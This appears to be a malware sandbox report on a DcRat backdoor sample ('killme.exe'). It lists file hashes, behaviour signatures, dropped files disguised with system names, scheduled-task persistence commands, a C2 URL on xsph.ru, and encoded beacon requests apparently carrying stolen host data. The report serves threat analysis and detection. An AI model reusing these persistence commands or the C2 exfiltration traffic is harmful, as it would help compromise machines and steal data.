File name:

killme.exe

Full analysis: https://app.any.run/tasks/c3b109a5-f77c-43e7-9175-fbdb1b9d02ed
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: February 04, 2024, 21:54:36
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
backdoor
dcrat
remote
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

2418ADEC64F6FB4773A7CA17334E0CEA

SHA1:

18799F2AFC98D8C8ACF4D42C79C24D1E4C188C99

SHA256:

EE3E8DD4413A12E94C123352F5A86E9F242034E97DA7D2220A3E13717BEA9573

SSDEEP:

98304:ZFrKdQH2wExUSweoviQ/F+mrpV0yLm5UZ9aXBHbJDCL8xTHRX46wxbZSS:Z3J

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • killme.exe (PID: 2088)
      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 668)
      • wscript.exe (PID: 3072)
      • wscript.exe (PID: 1644)

    • Actions looks like stealing of personal data

      • spoolsv.exe (PID: 2440)

    • DCRAT has been detected (SURICATA)

      • spoolsv.exe (PID: 2440)

    • DCRAT has been detected (YARA)

      • spoolsv.exe (PID: 2440)

    • Connects to the CnC server

      • spoolsv.exe (PID: 2440)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 668)

    • Reads the Internet Settings

      • killme.exe (PID: 2088)
      • wscript.exe (PID: 668)
      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 668)

    • Executable content was dropped or overwritten

      • killme.exe (PID: 2088)
      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 668)

    • The process creates files with name similar to system file names

      • BlockRuntime.exe (PID: 1028)

    • Executed via WMI

      • schtasks.exe (PID: 3452)
      • schtasks.exe (PID: 3584)
      • schtasks.exe (PID: 3600)
      • schtasks.exe (PID: 3056)
      • schtasks.exe (PID: 4032)
      • schtasks.exe (PID: 3372)
      • schtasks.exe (PID: 3572)
      • schtasks.exe (PID: 3624)
      • schtasks.exe (PID: 3644)
      • schtasks.exe (PID: 3420)
      • schtasks.exe (PID: 3896)
      • schtasks.exe (PID: 3756)
      • schtasks.exe (PID: 3820)
      • schtasks.exe (PID: 3844)
      • schtasks.exe (PID: 3832)
      • schtasks.exe (PID: 3816)
      • schtasks.exe (PID: 4016)
      • schtasks.exe (PID: 3860)
      • schtasks.exe (PID: 3868)
      • schtasks.exe (PID: 1192)
      • schtasks.exe (PID: 3408)
      • schtasks.exe (PID: 1196)
      • schtasks.exe (PID: 2160)
      • schtasks.exe (PID: 3240)
      • schtasks.exe (PID: 292)
      • schtasks.exe (PID: 3080)
      • schtasks.exe (PID: 2932)
      • schtasks.exe (PID: 3448)
      • schtasks.exe (PID: 3008)
      • schtasks.exe (PID: 3864)
      • schtasks.exe (PID: 3972)
      • schtasks.exe (PID: 3536)
      • schtasks.exe (PID: 2920)
      • schtasks.exe (PID: 3736)
      • schtasks.exe (PID: 3708)
      • schtasks.exe (PID: 2036)
      • schtasks.exe (PID: 1220)
      • schtasks.exe (PID: 2532)
      • schtasks.exe (PID: 4012)
      • schtasks.exe (PID: 2328)
      • schtasks.exe (PID: 3228)
      • schtasks.exe (PID: 3464)
      • schtasks.exe (PID: 3304)
      • schtasks.exe (PID: 2636)
      • schtasks.exe (PID: 3956)
      • schtasks.exe (PID: 2340)
      • schtasks.exe (PID: 3500)
      • schtasks.exe (PID: 2572)
      • schtasks.exe (PID: 2232)
      • schtasks.exe (PID: 2580)
      • schtasks.exe (PID: 2964)

    • Starts itself from another location

      • BlockRuntime.exe (PID: 1028)

    • Checks whether a specific file exists (SCRIPT)

      • wscript.exe (PID: 3072)

    • The process executes VB scripts

      • spoolsv.exe (PID: 2440)

    • Uses WMI to retrieve WMI-managed resources (SCRIPT)

      • wscript.exe (PID: 1644)

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 1644)
      • wscript.exe (PID: 3072)

    • Executes WMI query (SCRIPT)

      • wscript.exe (PID: 1644)

    • The process executes via Task Scheduler

      • explorer.exe (PID: 2380)
      • dwm.exe (PID: 3588)
      • smss.exe (PID: 3752)

  • INFO

    • Checks supported languages

      • killme.exe (PID: 2088)
      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)
      • explorer.exe (PID: 2380)
      • smss.exe (PID: 3752)
      • dwm.exe (PID: 3588)

    • Reads the computer name

      • killme.exe (PID: 2088)
      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)
      • explorer.exe (PID: 2380)
      • smss.exe (PID: 3752)
      • dwm.exe (PID: 3588)

    • Reads Environment values

      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)
      • explorer.exe (PID: 2380)
      • smss.exe (PID: 3752)
      • dwm.exe (PID: 3588)

    • Reads the machine GUID from the registry

      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)
      • explorer.exe (PID: 2380)
      • smss.exe (PID: 3752)
      • dwm.exe (PID: 3588)

    • Reads product name

      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)
      • dwm.exe (PID: 3588)
      • explorer.exe (PID: 2380)
      • smss.exe (PID: 3752)

    • Creates files in the program directory

      • BlockRuntime.exe (PID: 1028)

    • Create files in a temporary directory

      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

DcRat

(PID) Process(2440) spoolsv.exe
C2 (1)http://a0916433.xsph.ru/@=MWY4gjN3YTM
Options
MutexDCR_MUTEX-bKpdfgFCYywtfMLcyVUf
Targetals
No Malware configuration.

TRiD

.exe | Win32 Executable (generic) (52.9)
.exe | Generic Win/DOS Executable (23.5)
.exe | DOS Executable Generic (23.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2020:12:01 19:00:55+01:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14
CodeSize: 201216
InitializedDataSize: 114176
UninitializedDataSize: -
EntryPoint: 0x1ec40
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
103
Monitored processes
62
Malicious processes
7
Suspicious processes
3

Behavior graph

Click at the process to see the details
start killme.exe wscript.exe no specs cmd.exe no specs blockruntime.exe schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #DCRAT spoolsv.exe wscript.exe no specs wscript.exe no specs explorer.exe no specs dwm.exe no specs smss.exe no specs killme.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
292schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 7 /tr "'C:\Windows\tracing\PowerTracker\ctfmon.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
668"C:\Windows\System32\WScript.exe" "C:\ComponentInto\YivvWAxakNEliEHH3Chl.vbe" C:\Windows\System32\wscript.exe—killme.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1028"C:\ComponentInto\BlockRuntime.exe"C:\ComponentInto\BlockRuntime.exe
cmd.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Version:
5.15.2.0
Modules
Images
c:\componentinto\blockruntime.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
1192schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\dwm.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1196schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\MSOCache\All Users\dwm.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1220schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Program Files\FileZilla FTP Client\locales\gl_ES\smss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1504"C:\Users\admin\AppData\Local\Temp\killme.exe" C:\Users\admin\AppData\Local\Temp\killme.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\appdata\local\temp\killme.exe
c:\windows\system32\ntdll.dll
1644"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\e4484f85-ccfa-4582-a2cb-d81e44f8c8c7.vbs" C:\Windows\System32\wscript.exe—spoolsv.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2036schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 8 /tr "'C:\ComponentInto\spoolsv.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2088"C:\Users\admin\AppData\Local\Temp\killme.exe" C:\Users\admin\AppData\Local\Temp\killme.exe
explorer.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\killme.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24542_none_5c0717c7a00ddc6d\gdiplus.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
5 850
Read events
5 761
Write events
89
Delete events
0

Modification events

(PID) Process:(2088) killme.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2088) killme.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2088) killme.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2088) killme.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(668) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(668) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(668) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(668) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1028) BlockRuntime.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(1028) BlockRuntime.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
18
Suspicious files
1
Text files
20
Unknown types
0

Dropped files

PID
Process
Filename
Type
1028BlockRuntime.exeC:\ComponentInto\f3b6ecef712a24text
MD5:2E842BB9049F1CC8CB116267D4267470
SHA256:C43B34A08EFBEF0EB4F39B85FB4E85E471274BA32CDC9272645EFA7C06671071
1028BlockRuntime.exeC:\Windows\Cursors\cmd.exeexecutable
MD5:0275329A4428D706ABD70B8E2316AA31
SHA256:F10E2AE9D117D56FFBDBED9023D421ECE5D404FFB85542126BA46940230E8F92
1028BlockRuntime.exeC:\ComponentInto\spoolsv.exeexecutable
MD5:0275329A4428D706ABD70B8E2316AA31
SHA256:F10E2AE9D117D56FFBDBED9023D421ECE5D404FFB85542126BA46940230E8F92
1028BlockRuntime.exeC:\Program Files\FileZilla FTP Client\locales\gl_ES\69ddcba757bf72text
MD5:8485C39A643B4E797275C2842AE6993B
SHA256:A6E5771D896D73A3BA8CD6F3A5BD2EFB7256CF76833BD1EABBC0C1C2F2F1D225
1028BlockRuntime.exeC:\Windows\Setup\State\wininit.exeexecutable
MD5:0275329A4428D706ABD70B8E2316AA31
SHA256:F10E2AE9D117D56FFBDBED9023D421ECE5D404FFB85542126BA46940230E8F92
1028BlockRuntime.exeC:\Windows\Setup\State\56085415360792text
MD5:0D897E769672EF225C12A7B4F44CE839
SHA256:E0D65B3D464B6633410FE00E74022732463E60FCE893C1D90B0D4907085B9980
1028BlockRuntime.exeC:\Windows\Cursors\ebf1f9fa8afd6dtext
MD5:79C60F9804F9F3A5A6F5AD2804C2813D
SHA256:B87993B84739DBCEA2BC13F0D066AF87941A2B71DC4FD8CCC1BE78A391098C62
1028BlockRuntime.exeC:\MSOCache\All Users\{90140000-0015-0419-0000-0000000FF1CE}-C\smss.exeexecutable
MD5:0275329A4428D706ABD70B8E2316AA31
SHA256:F10E2AE9D117D56FFBDBED9023D421ECE5D404FFB85542126BA46940230E8F92
1028BlockRuntime.exeC:\MSOCache\All Users\6cb0b6c459d5d3text
MD5:33879100307DA681D5A3BBD1B72FE789
SHA256:526E50336C387EAF8C145553D359FFA144263AB8D2679939817D252547C3F622
1028BlockRuntime.exeC:\MSOCache\All Users\dwm.exeexecutable
MD5:0275329A4428D706ABD70B8E2316AA31
SHA256:F10E2AE9D117D56FFBDBED9023D421ECE5D404FFB85542126BA46940230E8F92
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
480
TCP/UDP connections
10
DNS requests
1
Threats
86

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?LtDobznP5Qz=IcyBly&c33bcbe54595f913c814d13dbaf1761b=de0188ab6ceede8ede2a01541e2d4ab6&e12a62e25d56ee324f7298b2ee53e93b=AN5MTZmVWM3UGO3YGOiRmY2MjM4YTOyMGO4ETOjJTZ3MzY5MjYkVGN&LtDobznP5Qz=IcyBly
unknown
text
2.09 Kb
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&4ece83265ab76456ee6b0b2fa2a12baf=0VfiIiOiQGMxUWNjFGN1MjZ2IWNxQjZhRmMmJTNwQjY3MDNyMTMiwiIzM2MyIzN3YDO4QmZ4MGMygTMyIzYlZjM4IGOzQmYwUGZmdzM2ITN5IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W
unknown
text
2.09 Kb
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&56541ae5ae0368bf133b99c77de7514f=d1nIkp0UaRjVtxkMOhkY2lzRjpHeGhVeWdkW1ZVbaxmUFlkekNjYrVzVhhFeGhleWdkYwpVRJRnRtNmb502YRhnRYZTTrl0cJNlW0YVbMpnTYlle4dEWjpEWapnVGlEM4dFZop1VaVEeGhleKhlW6ZlRYNGc6FVa3lWSshGWaVXTzMWeONTWjhXMiBTNXNFM1clW1lzRjRXOyE1Y4x2TEp0QMlWVHVGb1MEZ6lzRTNXOykldSNjY5JkRhpmSYlFbOZEWjp0MiBjRtNGMOhVY1x2VitmRFh1YO52Ys5EWWNGes9ERKNETpV1RlxWNpRme4JjY2J0MjNGexIGM1c1UwUzVaVXOHNGd5ITUjhHbPRkSDxUaVdUZsVTajxmSzI2cChUZshnRYpnVXFmc5IjYEhnRYBDeXRGaadlWFhnRYpnSYpleWZEWjBneRl2dplEbohlW110MjlnTzk1Y4FzYwUzVaRHaykFaShEZohnRYtmRHN2bOhVW55URYNmQYJGbSZEWj50MkZnUtJGckZEWjBneRl2dplEbohlW1RjMi5WOHJWdsJDZjhHbjxmQYl1d4dkYoRmRYNmSXpFW4ZEW6R2MitWNXFGW4ZEW200aJNXSTpFNW1GT1lzVi1mUzk1Y4x2YsRnMZhmSIZVeWJDZ2JkRYNGZtJGcOdVW5JFSYNmTzQmdS1mYwRmRYNGc6FVa3lWSshGWaVHMyQ2a4ZEW6pEWapnVGl0c4dVUjhnVa9mTXlFR5ATVOhnRYZTTrl0cJNlW0YVbMpnTYJme4ZEWUZFMYNHZHh1YOhlWzZkMZZHeHh1YS5mYsx2RiRkQDVVVaVUSoh3RiBHcWp1cs1mUjhXMjxGeXF2RCNlYop0MaZnSIV1Y4x2TEp0QMlWVHVGb1MEZwVzVhVHbyQ2Y4ZlWwY0RkRFeGh1dWhEZs5kRYNmTzQmdS1mYwRmRYNGc6FVa3lWSshGWaVXTzMGdOhEWj5UVMljVwEFeZtmU3FERNdXQE10dwMUT3FERNR3aU1EMBRFTxUERNdHMD10dBRUTwUERNVzcIh1YO52Ys5EWWd2dHJmQ4ZEWshmMZhmTwQFVxUEWjBneRl2dplEbohlW1F1VipGeGhleKNjY6pEWkREeGhlekNjYrVzVhhFeGhlNNtWSzl0UaRjVtxkeO52Y650RYNmT610aGpWW5NmaaBTRH9EbxkXW6dGVZR3YUpFeFRFT1k1VPhWMTpVbaRkTpZFROp3dGhVNKhlWykjMZxmSGh1YwpXUpdXaJxGaYpVdZNzYzljMidnTIh1Y5cEZ1xWRkVnVtJmdChlY25URYNGc6FVa3lWSshGWaVXTYplas1GZ5ZlMjNGes1ke4wmYwZkMkBDeGhlekNjYrVzVhhFeGhlNNtWSzl0UaRjVtxEbxcVYwUzVkNFdykld41WUjhXMiBTNXNFM1clW1lzRjRXOyE1Y4x2TEpUeXJiOiQGMxUWNjFGN1MjZ2IWNxQjZhRmMmJTNwQjY3MDNyMTMiwiIzM2MyIzN3YDO4QmZ4MGMygTMyIzYlZjM4IGOzQmYwUGZmdzM2ITN5IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W
unknown
text
2.09 Kb
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&56541ae5ae0368bf133b99c77de7514f=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